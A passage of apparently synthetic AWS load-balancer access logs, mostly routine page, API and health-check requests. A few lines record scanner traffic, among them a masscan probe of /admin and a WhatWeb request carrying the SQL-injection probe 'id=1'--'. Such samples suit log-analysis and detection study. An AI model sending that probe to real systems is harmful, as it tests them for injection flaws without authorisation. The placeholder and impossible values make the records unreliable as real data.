Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0c5-b93fc30331244aadbe629d95" "staging-alb.example.com" "-" 5 2024-11-01T01:47:33.974498Z "forward" "-" "-" "145.137.11.188:8080" "301" "-" "-" +http 2024-11-01T01:47:34.082751Z staging-alb 226.67.200.7:64383 141.178.74.108:443 0.027290 0.312215 0.059386 404 404 374 5081 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0c6-b52da2b74bb94a89aa48005c" "staging-alb.example.com" "-" 10 2024-11-01T01:47:34.082751Z "forward" "-" "-" "141.178.74.108:443" "404" "-" "-" +https 2024-11-01T01:47:35.806684Z prod-web-alb 109.90.109.231:48594 10.0.84.19:443 0.066425 0.163304 0.033321 200 200 628 7520 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0c7-2fa6fa156c9c45b499c90e74" "prod-web-alb.example.com" "-" 8 2024-11-01T01:47:35.806684Z "forward" "-" "-" "10.0.84.19:443" "200" "-" "-" +https 2024-11-01T01:47:36.508939Z prod-web-alb 94.194.94.184:51337 10.0.100.169:443 0.017348 0.134529 0.081822 200 200 464 4797 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0c8-9dbce24bff52471eb0be32b3" "prod-web-alb.example.com" "-" 1 2024-11-01T01:47:36.508939Z "forward" "-" "-" "10.0.100.169:443" "200" "-" "-" +http 2024-11-01T01:47:36.812158Z staging-alb 31.230.179.17:25903 9.176.139.31:443 0.081503 0.273143 0.027583 301 301 936 11672 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0c8-178dfdbb3d83440c83800a6a" "staging-alb.example.com" "-" 5 2024-11-01T01:47:36.812158Z "forward" "-" "-" "9.176.139.31:443" "301" "-" "-" +https 2024-11-01T01:47:37.956044Z prod-api-alb 95.59.139.80:26375 10.0.47.221:443 0.090398 0.009802 0.028043 404 404 202 2211 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0c9-e374a97dea514f8aa54e509e" "prod-api-alb.example.com" "-" 9 2024-11-01T01:47:37.956044Z "forward" "-" "-" "10.0.47.221:443" "404" "-" "-" +https 2024-11-01T01:47:38.068396Z prod-web-alb 44.211.107.181:31306 10.0.98.26:443 0.078830 0.009871 0.088431 301 301 150 14104 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0ca-a2218bffae0448acb84043b1" "prod-web-alb.example.com" "-" 2 2024-11-01T01:47:38.068396Z "forward" "-" "-" "10.0.98.26:443" "301" "-" "-" +https 2024-11-01T01:47:39.554502Z prod-api-alb 186.15.43.100:32535 10.0.171.246:443 0.033997 0.218165 0.091416 200 200 929 5356 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0cb-159d580825d141e88c26010a" "prod-api-alb.example.com" "-" 10 2024-11-01T01:47:39.554502Z "forward" "-" "-" "10.0.171.246:443" "200" "-" "-" +https 2024-11-01T01:47:41.142719Z prod-api-alb 231.197.136.48:27211 10.0.199.212:443 0.022585 0.399268 0.097579 200 200 819 312 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0cd-8d418a04dcac4a84ade39881" "prod-api-alb.example.com" "-" 4 2024-11-01T01:47:41.142719Z "forward" "-" "-" "10.0.199.212:443" "200" "-" "-" +https 2024-11-01T01:47:41.998859Z staging-alb 99.214.83.204:45529 202.113.23.81:8080 0.011838 0.635512 0.055844 200 200 780 13466 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0cd-66528fd5b6c54f958401ebec" "staging-alb.example.com" "-" 1 2024-11-01T01:47:41.998859Z "forward" "-" "-" "202.113.23.81:8080" "200" "-" "-" +http 2024-11-01T01:47:42.662803Z staging-alb 154.56.222.34:24502 90.63.218.112:443 0.066420 0.313233 0.064471 200 200 563 2045 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0ce-509e20c831874f6d9a1919ef" "staging-alb.example.com" "-" 1 2024-11-01T01:47:42.662803Z "forward" "-" "-" "90.63.218.112:443" "200" "-" "-" +https 2024-11-01T01:47:44.198204Z prod-api-alb 191.134.110.70:34466 10.0.196.107:443 0.043314 0.107716 0.007803 301 301 416 8022 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0d0-d37d4d6b135b4f3281f559f0" "prod-api-alb.example.com" "-" 2 2024-11-01T01:47:44.198204Z "forward" "-" "-" "10.0.196.107:443" "301" "-" "-" +https 2024-11-01T01:47:45.723155Z prod-web-alb 99.219.163.88:38773 10.0.248.158:443 0.073467 0.128998 0.028859 404 404 208 4933 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0d1-24bd11043d5d48d09a106914" "prod-web-alb.example.com" "-" 8 2024-11-01T01:47:45.723155Z "forward" "-" "-" "10.0.248.158:443" "404" "-" "-" +https 2024-11-01T01:47:46.871881Z prod-web-alb 205.3.253.100:64448 10.0.83.205:443 0.044738 0.011077 0.076024 200 200 861 14988 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0d2-be98f686a17f4e57b73e9527" "prod-web-alb.example.com" "-" 4 2024-11-01T01:47:46.871881Z "forward" "-" "-" "10.0.83.205:443" "200" "-" "-" +https 2024-11-01T01:47:48.646956Z prod-web-alb 193.122.159.5:22573 10.0.173.234:443 0.002353 0.184749 0.037291 200 200 841 5299 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0d4-67b5a929d6ea401b9d8b184d" "prod-web-alb.example.com" "-" 10 2024-11-01T01:47:48.646956Z "forward" "-" "-" "10.0.173.234:443" "200" "-" "-" +https 2024-11-01T01:47:49.304379Z prod-web-alb 251.65.94.125:31587 10.0.44.194:443 0.032409 0.396208 0.026398 200 200 782 12528 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0d5-17b2671da51945a586dd5f63" "prod-web-alb.example.com" "-" 2 2024-11-01T01:47:49.304379Z "forward" "-" "-" "10.0.44.194:443" "200" "-" "-" +https 2024-11-01T01:47:49.631392Z prod-api-alb 49.41.219.213:22283 10.0.169.81:443 0.080195 0.058840 0.077606 200 200 182 9394 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0d5-01c3a635f0054dc7ab9d250f" "prod-api-alb.example.com" "-" 2 2024-11-01T01:47:49.631392Z "forward" "-" "-" "10.0.169.81:443" "200" "-" "-" +http 2024-11-01T01:47:50.933675Z staging-alb 59.120.129.138:26176 62.0.148.249:8080 0.056175 0.495752 0.026265 302 302 840 9216 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0d6-590785718bb54c438e1ae736" "staging-alb.example.com" "-" 2 2024-11-01T01:47:50.933675Z "forward" "-" "-" "62.0.148.249:8080" "302" "-" "-" +https 2024-11-01T01:47:52.808299Z prod-web-alb 63.63.96.26:34322 10.0.20.59:443 0.097679 0.259774 0.002877 200 200 825 3682 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0d8-f408db4f97af4c2ba4da4729" "prod-web-alb.example.com" "-" 8 2024-11-01T01:47:52.808299Z "forward" "-" "-" "10.0.20.59:443" "200" "-" "-" +https 2024-11-01T01:47:53.109186Z prod-api-alb 28.20.122.11:43839 10.0.145.213:443 0.026860 0.495950 0.028919 200 200 417 8590 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0d9-4d2035375c92440ea84f4df9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:47:53.109186Z "forward" "-" "-" "10.0.145.213:443" "200" "-" "-" +https 2024-11-01T01:47:54.528966Z staging-alb 11.254.105.160:63608 124.205.115.99:80 0.133690 0.285144 0.076555 200 200 675 11779 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0da-924a75244950482b947864d0" "staging-alb.example.com" "-" 6 2024-11-01T01:47:54.528966Z "forward" "-" "-" "124.205.115.99:80" "200" "-" "-" +https 2024-11-01T01:47:54.929906Z prod-web-alb 118.53.225.205:19460 10.0.36.75:443 0.042314 0.415252 0.095103 200 200 228 9064 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0da-f265d26e430849e9b19fea5f" "prod-web-alb.example.com" "-" 6 2024-11-01T01:47:54.929906Z "forward" "-" "-" "10.0.36.75:443" "200" "-" "-" +http 2024-11-01T01:47:55.309939Z staging-alb 245.229.74.214:26162 30.244.4.216:8080 0.076488 0.600154 0.023510 200 200 133 3876 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0db-53184d39ef40417cb47ca2f9" "staging-alb.example.com" "-" 2 2024-11-01T01:47:55.309939Z "forward" "-" "-" "30.244.4.216:8080" "200" "-" "-" +https 2024-11-01T01:47:57.008070Z prod-web-alb 210.14.91.223:26100 10.0.100.109:443 0.005061 0.356135 0.014736 301 301 124 12152 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0dd-f19f1f1b8a294d36b3a92bbc" "prod-web-alb.example.com" "-" 4 2024-11-01T01:47:57.008070Z "forward" "-" "-" "10.0.100.109:443" "301" "-" "-" +http 2024-11-01T01:47:58.121814Z staging-alb 0.5.163.79:25248 147.68.35.65:8080 0.009472 0.361279 0.082622 200 200 693 14651 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0de-5be2af66c6ff4cd08129cb26" "staging-alb.example.com" "-" 2 2024-11-01T01:47:58.121814Z "forward" "-" "-" "147.68.35.65:8080" "200" "-" "-" +https 2024-11-01T01:47:59.436539Z prod-api-alb 45.155.205.243:61712 10.0.166.153:443 0.093747 0.415342 0.010106 404 404 348 6898 "PUT /metrics HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0df-15d14944e66245f192ba5f21" "-" "-" 6 2024-11-01T01:47:59.436539Z "forward" "-" "-" "10.0.166.153:443" "404" "-" "-" +https 2024-11-01T01:48:01.380366Z prod-web-alb 47.236.204.97:39910 10.0.31.98:443 0.087248 0.227340 0.050646 200 200 996 11232 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0e1-9287ce5430c74a36b5ce6f1c" "prod-web-alb.example.com" "-" 6 2024-11-01T01:48:01.380366Z "forward" "-" "-" "10.0.31.98:443" "200" "-" "-" +https 2024-11-01T01:48:01.689535Z prod-web-alb 185.181.25.65:17692 10.0.67.250:443 0.023868 0.368755 0.044362 403 403 356 2576 "GET /admin HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0e1-699fb0dde5fb47dea2ed1b9e" "-" "-" 9 2024-11-01T01:48:01.689535Z "forward" "-" "-" "10.0.67.250:443" "403" "-" "-" +https 2024-11-01T01:48:03.021135Z prod-web-alb 15.125.34.160:22262 10.0.238.36:443 0.042782 0.464477 0.017564 404 404 513 4527 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0e3-09b8fd16b5774a569979a380" "prod-web-alb.example.com" "-" 4 2024-11-01T01:48:03.021135Z "forward" "-" "-" "10.0.238.36:443" "404" "-" "-" +https 2024-11-01T01:48:04.664964Z prod-web-alb 30.31.199.80:46868 10.0.34.122:443 0.018195 0.023837 0.054330 200 200 590 14001 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0e4-ba8eb61a21844442815e0105" "prod-web-alb.example.com" "-" 0 2024-11-01T01:48:04.664964Z "forward" "-" "-" "10.0.34.122:443" "200" "-" "-" +https 2024-11-01T01:48:06.621526Z prod-web-alb 160.70.158.234:26894 10.0.70.33:443 0.008976 0.225959 0.052454 200 200 833 2959 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0e6-f81ebf0cb9dc41fb97ed9f10" "prod-web-alb.example.com" "-" 7 2024-11-01T01:48:06.621526Z "forward" "-" "-" "10.0.70.33:443" "200" "-" "-" +https 2024-11-01T01:48:06.884585Z prod-web-alb 179.240.112.108:17120 10.0.43.201:443 0.074761 0.159696 0.061611 200 200 394 10346 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0e6-673111c16c3f47098375c950" "prod-web-alb.example.com" "-" 1 2024-11-01T01:48:06.884585Z "forward" "-" "-" "10.0.43.201:443" "200" "-" "-" +https 2024-11-01T01:48:08.568924Z prod-web-alb 107.207.141.176:61899 10.0.61.210:443 0.035056 0.327396 0.003760 404 404 672 4275 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0e8-8a02d82ce72d4144b6cb2202" "prod-web-alb.example.com" "-" 9 2024-11-01T01:48:08.568924Z "forward" "-" "-" "10.0.61.210:443" "404" "-" "-" +https 2024-11-01T01:48:10.165572Z staging-alb 195.156.88.180:11890 210.128.50.64:80 0.083740 0.743457 0.068117 200 200 265 7061 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0ea-9bc57a77f1174b81af12b1f7" "staging-alb.example.com" "-" 8 2024-11-01T01:48:10.165572Z "forward" "-" "-" "210.128.50.64:80" "200" "-" "-" +https 2024-11-01T01:48:11.672168Z prod-web-alb 88.166.124.30:32350 10.0.50.170:443 0.010977 0.489206 0.067998 301 301 214 7336 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0eb-130f82ed462043abac2853fe" "prod-web-alb.example.com" "-" 4 2024-11-01T01:48:11.672168Z "forward" "-" "-" "10.0.50.170:443" "301" "-" "-" +https 2024-11-01T01:48:12.499181Z prod-api-alb 4.151.228.212:53804 10.0.222.107:443 0.056261 0.312532 0.097361 200 200 617 4044 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0ec-c862e21fce194887bb982c9f" "prod-api-alb.example.com" "-" 9 2024-11-01T01:48:12.499181Z "forward" "-" "-" "10.0.222.107:443" "200" "-" "-" +https 2024-11-01T01:48:14.127293Z staging-alb 224.119.120.9:58949 239.190.255.174:443 0.066642 0.046727 0.051178 301 301 274 12055 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d0ee-c8c6d50b4c794df0ba2be086" "staging-alb.example.com" "-" 9 2024-11-01T01:48:14.127293Z "forward" "-" "-" "239.190.255.174:443" "301" "-" "-" +https 2024-11-01T01:48:14.699180Z prod-api-alb 199.17.57.22:40113 10.0.15.55:443 0.077491 0.299399 0.086303 302 302 981 11789 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0ee-c4ece81926b844d19548688a" "prod-api-alb.example.com" "-" 10 2024-11-01T01:48:14.699180Z "forward" "-" "-" "10.0.15.55:443" "302" "-" "-" +https 2024-11-01T01:48:15.524329Z prod-web-alb 42.39.44.241:36331 10.0.59.178:443 0.071669 0.178116 0.073437 200 200 345 12552 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0ef-815c83ea64a34543b89f3269" "prod-web-alb.example.com" "-" 10 2024-11-01T01:48:15.524329Z "forward" "-" "-" "10.0.59.178:443" "200" "-" "-" +https 2024-11-01T01:48:16.065604Z prod-api-alb 191.123.198.242:21920 10.0.2.58:443 0.007640 0.423466 0.096323 200 200 370 11252 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0f0-1ce092cd72324f599065cfd6" "prod-api-alb.example.com" "-" 1 2024-11-01T01:48:16.065604Z "forward" "-" "-" "10.0.2.58:443" "200" "-" "-" +https 2024-11-01T01:48:16.689644Z prod-api-alb 18.135.2.128:51818 10.0.184.234:443 0.042617 0.280589 0.057159 404 404 542 3706 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0f0-597b1d189f6c4bb082098658" "prod-api-alb.example.com" "-" 3 2024-11-01T01:48:16.689644Z "forward" "-" "-" "10.0.184.234:443" "404" "-" "-" +https 2024-11-01T01:48:18.079124Z prod-api-alb 34.110.87.182:55761 10.0.181.62:443 0.064097 0.108671 0.046008 302 302 340 7864 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d0f2-8e5634cf540d496b8799c02c" "prod-api-alb.example.com" "-" 8 2024-11-01T01:48:18.079124Z "forward" "-" "-" "10.0.181.62:443" "302" "-" "-" +https 2024-11-01T01:48:19.249723Z staging-alb 45.155.205.164:64150 33.18.224.90:8080 0.069244 0.368263 0.038475 500 500 66 8386 "POST /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d0f3-7dc8284352c44ebebbff5428" "-" "-" 0 2024-11-01T01:48:19.249723Z "forward" "-" "-" "33.18.224.90:8080" "500" "-" "-" +https 2024-11-01T01:48:20.057393Z prod-api-alb 75.179.40.250:44027 10.0.247.51:443 0.093992 0.022218 0.063089 404 404 565 1792 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0f4-f0c2ba3b0e7249389cf81fc0" "prod-api-alb.example.com" "-" 9 2024-11-01T01:48:20.057393Z "forward" "-" "-" "10.0.247.51:443" "404" "-" "-" +https 2024-11-01T01:48:21.400568Z prod-web-alb 139.76.17.107:20804 10.0.120.195:443 0.008964 0.415926 0.090255 200 200 685 11405 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d0f5-0cb7ea445f57432b87925034" "prod-web-alb.example.com" "-" 0 2024-11-01T01:48:21.400568Z "forward" "-" "-" "10.0.120.195:443" "200" "-" "-" +https 2024-11-01T01:48:21.682961Z prod-api-alb 143.166.56.41:55767 10.0.143.21:443 0.095999 0.350616 0.080040 200 200 235 3467 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0f5-5a182b6a4751461fa62da2b0" "prod-api-alb.example.com" "-" 7 2024-11-01T01:48:21.682961Z "forward" "-" "-" "10.0.143.21:443" "200" "-" "-" +https 2024-11-01T01:48:23.020125Z prod-api-alb 182.229.101.33:22993 10.0.55.233:443 0.032364 0.487963 0.025910 200 200 166 2520 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d0f7-e2317f61b1274fb885112407" "prod-api-alb.example.com" "-" 10 2024-11-01T01:48:23.020125Z "forward" "-" "-" "10.0.55.233:443" "200" "-" "-" +https 2024-11-01T01:48:23.966400Z prod-web-alb 44.27.168.214:24885 10.0.95.76:443 0.099453 0.433893 0.081736 200 200 526 9173 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d0f7-b3bcff3376dc4455886248ce" "prod-web-alb.example.com" "-" 2 2024-11-01T01:48:23.966400Z "forward" "-" "-" "10.0.95.76:443" "200" "-" "-" +http 2024-11-01T01:48:24.941686Z staging-alb 135.160.234.36:48959 143.85.140.237:8080 0.069006 